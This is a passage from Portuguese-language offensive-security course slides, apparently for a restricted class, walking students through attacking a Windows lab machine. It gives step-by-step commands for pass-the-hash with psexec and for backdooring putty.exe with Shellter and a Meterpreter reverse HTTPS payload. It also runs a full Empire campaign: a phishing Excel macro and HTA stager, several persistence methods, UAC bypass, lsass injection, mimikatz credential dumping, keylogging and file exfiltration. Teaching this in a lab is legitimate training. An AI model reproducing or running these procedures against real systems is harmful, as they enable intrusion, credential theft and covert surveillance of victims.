3 – Envie o payload para o alvo através do PSEXEC, usando a técnica de PtH (Pass the Hash)

psexec.py -hashes <hash do alvo> usuário@IP_DO_ALVO cmd.exe -c PAYLOAD_GERADO.exe

Exemplo:
psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:0cb6948805f797bf2a82807973b89537 administrator@10.0.0.100 cmd.exe -c
payload.exe

Ou

psexec.py usuário:’senha’@IP_DO_ALVO cmd.exe –c PAYLOAD_GERADO.exe

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Exercício 23 – Instalação do Shellter
1 – Abra o shell do KALI (terminal) e seguir as instruções abaixo.

2 – Realize a instalação do Shellter


apt-get update
apt-get install shellter

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Exercício 24 – Infeção de PE
1 – Realize do download do arquivo putty.exe no KALI através do site https://the.earth.li/~sgtatham/putty/latest/x86/putty.exe

2 – Abra o shell do KALI (terminal) e seguir as instruções abaixo.

3 – Inicie o Shellter.
shellter

4 – Selecione o modo Auto digitando a letra A.

5 – Insira o caminho do arquivo executável que você quer infectar


/root/Downloads/putty.exe

6 – Em ”Enable Stealth Mode” digite a opção Y para garantir que as funções de seu arquivo executável sejam preservadas.

6 – Selecionar para usar um payload listado pressionando a letra L.

7 – Selecionar o payload Meterpreter_Reverse_HTTPS pressionando digitando o número 3.

8 – Insira o endereço de sua distribuição LINUX em SET LHOST.

9 – Insira a porta 443 em SET LPORT.


Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Exercício 24 – Infeção de PE
10 – Será iniciada a infecção do arquivo PE.

Este processo pode demorar alguns minutos.

11 – Após o términio de infecção, será exibido uma mensagem solicitando que pressione a tecla ENTER. Após pressionar a tecla
solicitada o shellter será finalizado.

12 – Abra o msfconsole e ative o exploit multi/handler com as mesmas configuracoes de payload, lhost e lport utilizadas no shellter.

13 – Copie o arquivo infectado no alvo e o execute em seguida.

14 – Você deve receber o shell do alvo em seu msfconsole.

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Conquistando com

EMPIRE

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
PowerShell
Windows PowerShell é um shell de linha de comandos desenvolvido pela Microsoft,
com o propósito de automatizar tarefas e gerenciar configurações do sistema
operacional. O PowerShell providencia um accesso a diversas bibliotecas do Microsoft
Windows, permitindo com que administradores automatizem tarefas administrativas
locais ou remotas.

No PowerShell, as tarefas administrativas são


geralmente realizadas por cmdlets, que são classes
especializadas de .NET para implementar uma
operação em particular. Um conjunto de cmdlets
podem ser combinados em scripts, executáveis, ou
instanciando classes .NET (ou Objetos WMI/COM).

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
PowerShell

POST EXPLOITATION LANGUAGE DA MICROSOFT


Porque usar Power Shell no processo de pós exploração?
• Acesso simples para sockets de rede;
• Habilidade de montar binários maliciosos na memória;
• Acesso direto para o Win 32 API;
• Interface simples para o WMI;
• Fácil acesso para bibliotecas de criptografia;
• Dificuldade de detecção por antivírus e por ferramentas
convencionais de segurança – “Considerado confiável";
• Não toca no disco, posso executar todos os meus processos
direto na memória, dificultando a identificação do artefato
malicioso;
• É nativo em todos os Microsoft Windows 7+.

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
PowerShell
Malwares
Malware Vawtrack
Tarefas comuns de um malware:

• Dowload + Executar código;


• Interagir com C2;
• Persistência;
• Se esconder;
• Roubar.

TODAS Tarefas possíveis através do uso


do Powershell.
Alguns malwares que usam
Powershell: Falar sobre
powersniff
• Preshin;
• Poshcoder;
• Poweliks; Malware Poshcoder
• HappyCat;
• Powerworm;
• Vawtrack.

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
PowerShell
Segurança Ofensiva

Existem diversas ferramentas com foco em segurança ofensiva que usam todo o poder do Microsoft
Powershell para comprometer um sistema operacional Microsoft Windows.

Estas ferramentas ou frameworks contém scripts com a capacidade de exploração, escalação de


privilégio, gerenciamento de processos, coleta de informações e diversas outras ações que poderão ser
utilizadas durante um ataque.

As principais ferramentas são:

• Powersploit (https://github.com/mattifestation/PowerSploit);
• Nishang (https://github.com/samratashok/nishang);
• Veil Power Tools (https://github.com/PowerShellEmpire/PowerTools).

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Empire
Empire é uma agente de pós-exploração que utiliza PowerShell
com uma arquitetura flexível e comunicação criptografada.

O Empire implementa a habilidade de executar agentes


PowerShell sem precisar do powershell.exe, podendo distribuir
uma variedade de módulos de exploração, mantendo uma
comunicação adaptável para evadir a detecção de rede, tudo
empacotado em um framework focado na usabilidade.

Funções de um RAT, com a flexibilidade de um C2 e toda a


capacidade que o Powershell possui para assumir o controle do
sistema operacional Microsoft Windows.

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Empire
Arquitetura

Arquitetura Cliente Servidor, sendo:


• Servidor: Python
• Cliente: Powershell
• Apoiado por uma base de dados backend que
mantém as configurações utilizadas salvas.

Composto por:
• Listeners;
• Stagers;
• Agents.

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Empire
Arquitetura - Listener

Conceito similar ao multi/handler do Metasploit, mas com


muitas melhorias.

Funções interessantes:
• Kill dates e Working Hours;
• Foreign listeners;
• White e Black lists de IP.

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Empire
Arquitetura - Stager

Bloco de comando que vai carregar um agente do empire


que é gerado por um listener.

Formatos:
• dll;
• hop_php;
• launcher;
• launcher_vbs;
• launcher_bat;
• pth_wmis;
• war;
• ducky;
• hta;
• macro.

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Empire
Arquitetura – Agents - Módulos

Mais de 100 módulos.

• Code_execution – Formas de executar um código;


• Credencials – Coletar e usar credenciais;
• Collection – Coleta de dados;
• Lateral_movement – Movimentação pela rede;
• Management – Gerenciamento do host;
• Persistência – Manter-se conectado ao host;
• Privesc – Escalação de privilégio;
• Situational Awareness – Conscientização da rede;
• Trollsploit – para diversão.

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Empire

Mas o que realmente eu consigo


fazer e até onde um consigo chegar
usando o EMPIRE?

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Fases de um ataque
Preparação Recon

Post Exploitation

Configuração do C2

D
Configuração
Scanning Exploração Consciência Exfiltration Clean up Deception
de
Situacional Persistência
A

C Escalação de
B
Privilégio
Movimentação
Lateral

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
DEMO
Uso do Empire nas fases de um ataque.

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Exercício 25 - Estudo de Caso

Seu objetivo será comprometer um computador alvo através de uma campanha de phishing.

Após comprometer o computador alvo você terá que realizar as seguintes tarefas:
- Criar um mecanismo de persitência;
- Manter o computador alvo sendo monitorado;
- Coletar informações como senhas e arquivos confidenciais;
- Trollar o alvo;
- Realizar a movimentação lateral (opcional).

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Preparação
Instalação do Empire

Objetivo: Instalar e acessar o EMPIRE.

1 – No shell do LINUX (terminal) acessar o seu diretório home.


$ cd ~

2 – Criar um diretório para armazenar o EMPIRE.


$ mkdir gitrepos
$ cd gitrepos/

3 – Realizar o download do empire.


/gitrepos$ git clone https://github.com/PowerShellEmpire/Empire.git

4 – Instalar o Empirec
/gitrepos$ cd Empire/setup/
/gitrepos/Empire$ ./install.sh

Insira uma senha segura quando exibido a mensagem a seguir.


[>] Enter server negotiation password, enter for random generation: <

5 – Executar o Empire com permissões administrativas e confirmar se a instalação foi bem sucedida.
/gitrepos/Empire$ ./empire

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Preparação
Ativação do listener

Objetivo: Preparar o listener para receber as conexões dos alvos comprometidos.

1 – Após executar o EMPIRE, acessar o módulo de listeners.


(Empire) > listeners

2 – Verificar as configurações do listener.


(Empire: listeners) > info

3 – Configurar o horário de trabalho do agente que será utilizado pelo listener.


(Empire: listeners) > set WorkingHours 00:00-23:59

4 – Configurar o endereço IP do HOST que receberá a conexão reversa no listener.


(Empire: listeners) > set Host 192.168.16.10

5 – Configurar a porta TCP que receberá a conexão reversa no listener.


(Empire: listeners) > set Port 80

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Preparação
Ativação do listener
6 – Configurar o nome do listener.
(Empire: listeners) > set Name PhishingCampaign

7 – Confirmar se as configurações do listener estão corretas, conforme solicitado nos exercícios anteriores.
(Empire: listeners) > info

8 – Ativar o listener.
(Empire: listeners) > execute

9 – Confirmar a execução do listener.


(Empire: listeners) > list

Se tudo deu certo, você receberá como retorno a informação similar a figura a seguir.

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Exploração
Client side attack - Macro

Objetivo: Realizar a exploração do alvo através de um ataque client side utilizando uma planilha EXCEL com macro.

1 – Criar um arquivo macro que será inserido em um documento Microsoft Office.


(Empire: listeners) > usestager macro PhishingCampaign

2 – Verificar as configurações do stager de macro.


(Empire: listeners) > info

3 – Gerar o arquivo de macro.


(Empire: listeners) > execute

Se tudo der certo, será gerado um arquivo macro no /tmp.


[*] Stager output written out to: /tmp/macro

4 – Verifique o conteúdo do arquivo /tmp/macro.


Abra uma outra janela de terminal e visualize o conteúdo do arquivo executando o comando:

cat /tmp/macro

Selecione e copie todo o conteúdo do arquivo.

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Exploração
Client side attack - Macro

5 – Abrir o Microsoft Excel 2013, clique no menu View, no botão Macros e no submenu View Macros.
Será aberta a caixa de Macro, digite a palavra pwned em Macro name e clique no botão Create, conforme demonstrado na imagem a
seguir.

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Exploração
Client side attack - Macro

6 – Será aberta a tela do Visual Basic for Applications. Delete todo o conteúdo existente e cole o conteúdo copiado do arquivo de macro
gerado pelo agente do EMPIRE.

Modifique a declaração Sub Documento_Open para Sub Auto_Open.

O resultado final deverá ser algo similar a imagem apresentada a seguir.

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Exploração
Client side attack - Macro
7 – Salve o documento como um nome “chamativo” como Cargos_Salarios_2015, selecionando o tipo do arquivo como “Excel 97-2003
Workbook (*.xls)”.

8 – Incremente o conteúdo do arquivo e *envie para o alvo.

* No seu caso bastará copiar o arquivo gerado para o DESKTOP do usuário BOB na sua máquina virtual com o Microsoft Windows 7 que
será explorada durante os exercícios. Em uma condição real o usuário alvo poderá receber o arquivo por e-mail, através de um link de
download ou através de uma acesso a um compartilhamento de rede existente.

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Exploração
Client side attack - Macro

9 – Abrir o arquivo gerado no alvo com o usuário BOB. Clicar no botão “Enable Content” ativando o macro. Neste instante o
computador alvo será comprometido.

Se tudo der certo você receberá uma mensagem no Empire como:


[+] Initial agent 1DU2TFB32SBVRBRN from 192.168.133.141 now active

10 – Verificar as informações do agente


(Empire: stager/macro) > agents

11 – Interagir com o agente.


(Empire: agents) > interact <name>
Exemplo: (Empire: agents) > interact ULVXEXAHYKSFBD4H

12 – Renomear o agente para facilitar a interação.


(Empire: ULVXEXAHYKSFBD4H) > rename pwned_01

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Exploração
Client side attack – HTA file
Objetivo: Realizar a exploração do alvo através de um ataque client side utilizando um arquivo HTA.

1 – Criar um arquivo HTA.


(Empire: pwned_01) > listeners
(Empire: listeners) > usestager hta PhishingCampaign

2 – Verificar as configurações do stager de hta.


(Empire: stager/hta) > info

3 – Gerar o arquivo hta.


(Empire: stager/hta) > set OutFile /tmp/relatorio.hta
(Empire: stager/hta) > execute

Se tudo der certo, será gerado um arquivo macro no /tmp.


[*] Stager output written out to: /tmp/relatorio.hta

4 – Verifique o conteúdo do arquivo /tmp/relatorio.hta.


Abra uma outra janela de terminal e visualize o conteúdo do arquivo executando o comando:

cat /tmp/relatorio.hta

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Exploração
Client side attack – HTA file

5 – Disponibilize o acesso ao arquivo HTA através de um servidor WEB


(Criaremos um servidor WEB local para dar a continuidade no exercício)

Abra uma nova janela do terminal e nesta nova janela digite os comandos a seguir:
cd /tmp
python –m SimpleHTTPServer 8080

Agora você possui um WebServer funcionando na porta 8080.

6 – Utilizando o usuário BOB, abra o internet explorer e acesse o arquivo relatório.hta através do endereço do WebServer criado
http://192.168.16.10:8080/relatorio.hta.

7 – Na caixa de diálogo que será exibida informe que você deseja abrir o arquivo relatório.hta e clique em seguida no botão permitir da
caixa de segurança do Internet Explorer.

Se tudo der certo você receberá uma mensagem no Empire como:


[+] Initial agent GDFNGHKX13PT4T4W from 192.168.133.141 now active

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Exploração
Client side attack – HTA file

8 – Interagir com o agente.


(Empire: stager/macro) > agents
(Empire: agents) > interact <name>
Exemplo: (Empire: agents) > interact GDFNGHKX13PT4T4W

9 – Renomear o agente para facilitar a interação.


(Empire: GDFNGHKX13PT4T4W) > rename pwned_02

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Consciência Situacional
Sem privilégios administrativos

Objetivo: Obter a consciência situacional para realizar ações mais efetivas no alvo.

1 –Obter informações do computador alvo.

(Empire: pwned_02) > info


(Empire: pwned_02) > sysinfo
(Empire: pwned_02) > usemodule situational_awareness/host/dnsserver
(Empire: situational_awareness/host/dnsserver) > execute
(Empire: situational_awareness/host/dnsserver) > back

(Empire: pwned_02) > usemodule situational_awareness/host/winenum


(Empire: situational_awareness/host/winenum) > execute
(Empire: situational_awareness/host/winenum) > back

2 – Preencher a tabela a seguir com as informações obtidas. Anotar outras informações que entenda ser importante para o processo de
exploração e refletir em como as informações obtidas podem ser utilizadas contra o alvo.
hostname IP IP DNS DNS Sistema Antivírus
Interno Externo Primário Secundário Operacional

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Persistência
Sem privilégios administrativos

Objetivo: Criar uma estrutura para manter a conexão permanente com o alvo.

1 – Criar persistência para que o computador alvo se conecte ao EMPIRE sempre que for reiniciado.
(Empire: pwned_02) > usemodule persistence/userland/registry
(Empire: persistence/userland/registry) > set Listener PhishingCampaign
(Empire: persistence/userland/registry) > execute
(Empire: persistence/userland/registry) > back

2 – Criar persistência para que o computador alvo se conecte de 15 em 15 minutos ao EMPIRE sempre que uma sessão for encerrada,
escondendo o script em um ADS (Alternet Data Stream).
(Empire: pwned_02) > usemodule persistence/userland/schtasks
(Empire: persistence/userland/schtasks) > set Listener PhishingCampaign
(Empire: persistence/userland/schtasks) > set IdleTime 15
(Empire: persistence/userland/schtasks) > set ADSPath C:\Users\Bob\AppData\Local\Microsoft\Windows\Appdata:script.txt
(Empire: persistence/userland/schtasks) > execute
(Empire: persistence/userland/schtasks) > back

3 – Reinicie o computador alvo e realize o logon com o usuário Bob. Verifique se uma nova conexão foi gerada com o EMPIRE após o
logon.

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Escalação de Privilégio

Objetivo: Obter um privilégio de SYSTEM para manter o controle total do alvo.

1 – Interagir com o novo agente gerado, após reiniciar o computador alvo para testar a persistência.
(Empire: stager/macro) > agents
(Empire: agents) > interact <name>
Exemplo: (Empire: agents) > interact ULVXEXAHYKSFBD4H

2 – Renomear o agente para facilitar a interação.


(Empire: ULVXEXAHYKSFBD4H) > rename pwned_02_new

3 – Analisar possibilidades de escalação de privilégio


(Empire: pwned_02_new) > usemodule privesc/powerup/allchecks
(Empire: privesc/powerup/allchecks) > execute

Você receberá um alerta para usar o módulo bypassuac.

[*] Run a BypassUAC attack to elevate privileges to admin.

(Empire: privesc/powerup/allchecks) > back

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Escalação de Privilégio

4 – Executar o módulo bypassuac em seu agente.


(Empire: pwned_02_new) > bypassuac PhishingCampaign pwned_02_new

Será criado um novo agente com a proteção de UAC (User Account Control) do Windows desativada.

5 – Listar os agentes existentes.


(Empire: pwned_02_new) > list agents

Note que ao lado do Username existe um “*” no novo agente, representando um processo de integridade alta para esta sessão.

6 – Interagir com o novo agente criado.


(Empire: pwned_02_new) > agents
(Empire: agents) > interact <nome do agente>
Exemplo: (Empire: agents) > interact H1ZEPFHMBC3SUH1L
(Empire: H1ZEPFHMBC3SUH1L) > rename pwned02_new_bypassuac

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Escalação de Privilégio

7 – Migrar para um processo de sistema privilegiado. Localizar o processo lsass.exe.


(Empire: pwned02_new_bypassuac) > ps

8 – Realizar o Injection no ID do processo correspondente ao lsass.exe.


(Empire: pwned02_new_ bypassuac) > psinject pwned <id do processo lsass.exe>
Exemplo: (Empire: pwned02_new_ bypassuac) > psinject PhishingCampaign 556
(Empire: management/psinject) > info
(Empire: management/psinject) > execute

Caso você tenha problema, pode roubar um token de SYSTEM para obter o privilégio de SISTEMA.

(Empire: pwned02_new_ bypassuac) > steal_token 516 (onde 516 é o PID do processo lsass.exe)

Caso nenhuma das recomendações funcione, utilize o comando getsystem do EMPIRE a partir da versão 1.5.

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Escalação de Privilégio

9 – Será criada uma nova sessão com privilégio de SYSTEM. Interagir e renomear a sessão.
(Empire: management/psinject) > agents

Note que o usuário da nova sessão é o SYSTEM.

(Empire: agents) > interact <name>


Exemplo: (Empire: agents) > interact MF12TPUBXHUPFU2G
(Empire: MF12TPUBXHUPFU2G) > rename pwned02_new_system

Agora você possui acesso a uma sessão com controle total do computador alvo.

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Persistência
Privilegiada
Objetivo: Criar uma estrutura para manter a conexão permanente com o alvo mantendo as permissões privilegiadas
obtidas.

1 – Ativar o acesso remote desktop no alvo.


(Empire: pwned02_new_system) > usemodule management/enable_rdp
(Empire: management/enable_rdp) > execute
(Empire: management/enable_rdp) > back

2 – Ativar o acesso privilegiado através de Stick Keys.


(Empire: pwned02_new_system) > usemodule persistence/misc/debugger
(Empire: persistence/debugger/sethc) > execute
(Empire: persistence/debugger/sethc) > back

3 - Acessar o computador alvo através RDP. Na tela de login pressionar a tecla SHIFT 5 vezes para exibir o shell do Windows com acesso
privilegiado de SYSTEM.

No shell (terminal) do Linux.


rdesktop 192.168.133.144

Pressionar a tecla SHIFT 5 vezes após abrir a conexão através de RDP com o computador alvo.

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Persistência
Privilegiada

4 – Ativar persistência através de WMI.


(Empire: pwned02_new_system) > usemodule persistence/elevated/wmi
(Empire: persistence/elevated/wmi) > set Listener PhishingCampaignexecute
(Empire: persistence/elevated/wmi) > execute
(Empire: persistence/elevated/wmi) > back

5 – Reiniciar o computador alvo e observer se após 5 minutos que o computador alvo for iniciado será aberta uma nova sessão com
privilégios de SYSTEM. NÃO É NECESSÁRIO LOGAR NO COMPUTADOR ALVO.

6 - Interagir e renomear a sessão.


(Empire: management/psinject) > agents

Note que o usuário da nova sessão é o SYSTEM.

(Empire: agents) > interact <name>


Exemplo: (Empire: agents) > interact 3SDVCSWUC2FEEZ4A
(Empire: 3SDVCSWUC2FEEZ4A) > rename pwned02_p_system

Agora você possui duas persistências discretas e permanentes no computador alvo.

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Consciência Situacional
Privilegiada

Objetivo: Obter a consciência situacional privilegiada para realizar ações mais efetivas no alvo.

1 –Obter informações do computador alvo.

(Empire: pwned02_p_system) > usemodule situational_awareness/host/winenum


(Empire: situational_awareness/host/winenum) > execute
(Empire: situational_awareness/host/winenum) > back

Qual a diferença para o winenum executado sem o privilégio administrativo?

2 – Obter informações do rede do computador alvo.


(Empire: situational_awareness/host/winenum) usemodule situational_awareness/network/netview
(Empire: situational_awareness/network/netview) > execute

3 – Explore outras funções do módulo de consciência situacional e obtenha informações que sejam úteis para a sua exploração.

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Exfiltration
Senhas

Objetivo: Obter as senhas e representações de senhas (hash) utilizados no computador alvo. As senhas poderão ser
utilizadas para o processo de movimentação lateral.

1 - Interagir com o agente pwned02_p_system e confirmar se o processo que você está utilizando no agente é o lsass.exe
(Empire: pwned02_p_system) > sysinfo

Caso não seja, crie uma nova sessão que utilize o processo lsass.exe com os privilégios de SYSTEM.

Localizar o processo lsass.exe


(Empire: pwned02_p_system) > ps

Realizar o Injection no ID do processo correspondente ao lsass.exe


(Empire: pwned02_p_ system) > psinject pwned <id do processo lsass.exe>
Exemplo: (Empire: pwned02_p_ system) > psinject pwned 526
(Empire: management/psinject) > info
(Empire: management/psinject) > execute

Interagir com o agente criado e voltar ao passso 1.

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Exfiltration
Senhas

2 – Obter as senhas em cleartext e as representações das senhas (hashes) expostas em memória através do mimikatz.
(Empire: credentials/mimikatz/lsadump) > usemodule credentials/mimikatz/logonpasswords
(Empire: credentials/mimikatz/logonpasswords) > execute
(Empire: credentials/mimikatz/logonpasswords) > back

Caso não funcione será necessário realizar o downgrade do wcdigest e bloquear a tela do computador alvo se o mesmo utilizar o
Microsoft Windows 8.1 ou reiniciar o computador alvo se o mesmo utilizar o Windows 10.
(Empire: credentials/mimikatz/lsadump) > usemodule management/wdigest_downgrade
(Empire: management/wdigest_downgrade) > execute

Repetir o passo 2 após o usuário alvo desbloquear a tela ou logar no computador alvo.

3 – Obter as representações das senhas (hashes) expostas em memória através do lsadump.


(Empire: pwned02_p_system) > usemodule credentials/mimikatz/lsadump
(Empire: credentials/mimikatz/lsadump) > execute
(Empire: credentials/mimikatz/lsadump) > back

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Exfiltration
Senhas

4 – Obter as senhas em cleartext do Vault do Windows (senhas armazenadas no Internet Explorer, Outlook e outros programas
clientes).
(Empire: pwned02_p_system) > usemodule credentials/vault_credential
(Empire: credentials/vault_credential) > execute
(Empire: credentials/vault_credential) > back

5 – Verifque as credenciais obtidas.


(Empire: pwned02_p_system) > creds

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Exfiltration
Monitoramento

Objetivo: Monitorar o computador alvo para identificar informações valiosas e informações que poderão ser
utilizadas em outras fases do ataque.

1 – Migre o seu processo para o processo do contexto do usuário (explorer.exe) que será monitorado.

Localizar o processo explorer.exe


(Empire: pwned02_p_system) > ps

Realizar o Injection no ID do processo explorer.exe.


(Empire: pwned01_new_ bypassuac) > psinject pwned <id do processo explorer.exe>
Exemplo: (Empire: pwned01_new_ bypassuac) > psinject pwned 560
(Empire: management/psinject) > info
(Empire: management/psinject) > execute

Interagir com o novo agente criado.


(Empire: management/psinject) > agents
(Empire: agents) > interact VRPEXXLABDNUR13N
(Empire: VRPEXXLABDNUR13N) > rename pwned02_explorer

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Exfiltration
Monitoramento

2 – Ativar o Keylogger.
(Empire: pwned02_explorer) > usemodule collection/keylogger
(Empire: collection/keylogger) > execute

Abrir o bloco de notas no computador alvo e digitar algo para confirmar o funcionamento do keylogger.

3 – Ativar o monitoramento da área de transferência.


(Empire: collection/keylogger) > usemodule collection/clipboard_monitor
(Empire: collection/clipboard_monitor) >execute

Selecionar (CTR+A) e copiar (CTR+C) o conteúdo do texto digitado no bloco de dados para confirmar o funcionamento do
clipboard_monitor.

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Exfiltration
Monitoramento
4 – Realizar um Screenshot do computador alvo.
(Empire: collection/clipboard_monitor) > usemodule collection/screenshot
(Empire: collection/screenshot) > execute

O screenshoot será salvo em um caminho similar ao demonstrado a seguir.


Output saved to ./downloads/pwned03_explorer/screenshot/2015-10-14_14-36-29.png

Visualizar a imagem salva.

5 – Realizar o monitoramento das conexões de rede local do computador alvo.


(Empire: collection/screenshot) > usemodule collection/netripper
(Empire: collection/netripper) > info
(Empire: collection/netripper) > set ProcessID 2128
Deverá ser utilizado o ProcessID do explorer.exe, o mesmo utilizado na etapa 1 deste exercício.
(Empire: collection/netripper) > execute

Acesse algum site que precisa de senha, ou algum aplicativo que solicita senha através do uso de rede e confirme se a captura é
realizada.

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Exfiltration
Arquivos

Objetivo: Identificar e copiar arquivos sensíveis e críticos do computador alvo.

1 – Criar arquivo texto com o nome Confidencial no desktop do usuário do computador alvo. Abrir o arquivo e digitar a palavra senha.
Salvar e fechar o arquivo.

2 – Realizar busca através de palavra chave.


(Empire: collection/netripper) > usemodule collection/filesearch
(Empire: collection/filesearch) > info
(Empire: collection/filesearch) > set Terms senha
(Empire: collection/filesearch) > execute

Será exibido o caminho do arquivo encontrado.

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Exfiltration
Arquivos

3 – Realizar download do arquivo identificado no computador alvo.

(Empire: collection/filesearch) > agents


(Empire: agents) > interact pwned02_explorer
(Empire: pwned02_explorer) > download C:/Users/Bob/Desktop/confidencial.txt
[+] Part of file confidencial.txt.txt from pwned03_explorer saved
[+] Part of file confidencial.txt.txt from pwned03_explorer saved
[+] Part of file confidencial.txt.txt from pwned03_explorer saved

[*] File download of C:\Users\Bob\Desktop\confidencial.txt.txt completed

Se tudo deu certo, o arquivo será salvo em um caminho similar ao apresentado a seguir.
/downloads/pwned03_explorer/C:/Users/Bob/Desktop/confidencial.txt

Visualize o conteúdo do arquivo abrindo um novo shell (terminal) e digitando o comando apresentado a seguir.
cat /downloads/pwned03_explorer/C:/Users/Bob/Desktop/confidencial.txt

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Integrando com o Metasploit

1 – Prepare o listener do Empire para realizar a integração com o metasploit.

(pwned02_explorer) > listeners


(Empire: listeners) > set Type meter
(Empire: listeners) > set Name meterpreter
(Empire: listeners) > set Port 443
(Empire: listeners) > execute
(Empire: listeners) > list

2 – Prepare o multi/handler no metasploit


msfconsole
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_https
msf exploit(handler) > set LHOST 10.0.0.200
msf exploit(handler) > set LPORT 443
msf exploit(handler) > set exitonsession false
msf exploit(handler) > exploit -j -z

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Integrando com o Metasploit

3 – Realizar o injection .

(Empire: listeners) > injectshellcode meterpreter <PID DE ALGUM PROCESSO – PREFERENCIA SYSTEM>
Exemplo: (Empire: listeners) > injectshellcode meterpreter 516

(code_execution/invoke_shellcode) > info


(code_execution/invoke_shellcode) > set Payload reverse_https (mesmo payload que o multi/handler)
(code_execution/invoke_shellcode) > execute

4 – Acessar o meterpreter no msfconsole e obter o privilégio de SYSTEM.

Copyright – Professor Ricardo Tavares – ricardo@tavares.io. Uso autorizado somente para alunos da TURMA 5 de Cyber Security da DMBS
Hacking for fun

1 – Enviar um comando de voz para o computador alvo.


(Empire: pwned02_explorer) > usemodule trollsploit/voicetroll
